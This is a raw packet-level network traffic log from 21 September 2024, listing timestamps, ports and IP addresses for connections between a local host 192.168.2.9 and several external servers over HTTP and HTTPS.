Sep 21, 2024 13:33:42.277323008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277349949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277383089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277398109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277398109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277415037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277450085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277462959 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277462959 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277481079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277515888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277534008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277534008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277558088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277565956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277601957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277626991 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277631998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277662039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277664900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277690887 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277698040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277730942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277762890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277776957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277776957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277796984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277827024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277831078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277862072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277873039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277873039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277895927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277928114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277956963 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.278011084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.278012037 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.278039932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.278073072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.278083086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.278083086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.278125048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.278156996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.278163910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.278163910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.278192997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.278249979 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.283409119 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.283425093 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.285125017 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285180092 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285211086 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285216093 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285233974 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285339117 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285454035 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285486937 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285520077 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285561085 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285561085 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285621881 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285656929 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285689116 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285703897 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285703897 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285738945 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285738945 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285789967 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285820961 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285823107 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285842896 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285857916 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285876036 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285908937 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285926104 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285959005 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.285964012 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.285990953 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286019087 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286025047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286025047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286057949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286070108 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286101103 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286109924 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286133051 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286164999 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286171913 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286171913 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286195040 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286228895 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286231041 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286264896 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286271095 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286271095 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286297083 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286329985 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286354065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286354065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286361933 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286365986 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286395073 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286437988 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286437988 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286712885 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286746025 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286778927 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286811113 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286812067 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286812067 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286845922 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286855936 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286855936 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286896944 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286947966 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.286951065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286951065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.286981106 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287014008 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287024021 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287024021 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287045956 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287085056 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287085056 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287096024 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287128925 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287162066 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287168980 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287168980 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287193060 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287226915 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287230968 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287230968 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287261009 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287296057 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287314892 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287314892 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287328005 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287359953 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287360907 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287400007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287400007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287426949 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287475109 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287508011 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287523985 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287539959 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287575006 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287599087 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287615061 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287615061 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287906885 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287956953 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.287976027 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.287990093 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288022995 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288028955 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288028955 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288065910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288073063 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288105965 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288141012 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288146019 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288146019 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288177967 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288193941 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288213968 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288239956 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288248062 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288286924 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288294077 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288294077 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288320065 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288355112 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288369894 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288369894 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288388014 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288423061 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288434029 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288434029 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288463116 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288469076 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288496017 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288522005 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288528919 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288569927 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288573027 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288573027 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288605928 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.288645983 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.288645983 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.307421923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.307451010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.307466030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.307492018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.307507992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.307516098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.307516098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.307523012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.307538986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.307564974 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.307564974 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.307636976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.332803965 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333100080 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333113909 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333137035 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333153009 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333159924 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.333169937 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333189964 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333190918 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.333208084 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.333323002 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333344936 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.333347082 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333364964 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333379030 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333381891 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.333395958 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333406925 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.333412886 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333427906 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333431005 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.333445072 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333460093 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.333461046 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.333508968 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.333508968 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.335988045 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.336004019 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.336018085 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.336033106 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.336050034 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.336066008 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.336076975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.336123943 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.347326040 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.347399950 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.347460985 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.347476959 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.347604990 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.348119974 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348135948 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348150969 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348165035 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348182917 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348189116 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.348248959 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.348248959 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.348922968 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348937988 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348953009 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348968983 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348984957 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.348999977 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349014044 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349015951 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349015951 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349030972 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349042892 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349052906 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349052906 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349059105 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349086046 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349098921 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349098921 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349098921 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349117041 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349128962 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349142075 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349155903 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349159002 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349159002 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349172115 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349188089 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349196911 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349196911 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349205017 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349220991 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349221945 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349221945 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349237919 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349240065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349253893 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349268913 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349280119 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349280119 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349289894 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.349297047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349312067 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.349343061 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.350939035 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.350953102 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.350966930 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.350982904 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.350997925 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351027012 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351027012 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351188898 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351214886 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351229906 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351244926 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351258993 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351274967 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351285934 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351285934 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351361990 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351361990 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351377010 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351407051 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351449966 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351465940 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351466894 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351480007 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351495981 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351510048 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351510048 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351511955 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.351528883 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351542950 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.351666927 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.353915930 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.353939056 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.353954077 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.353970051 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.353996038 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.354011059 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.354017973 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.354027033 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.354043007 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.354046106 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.354060888 CEST	49709	80	192.168.2.9	147.45.44.104
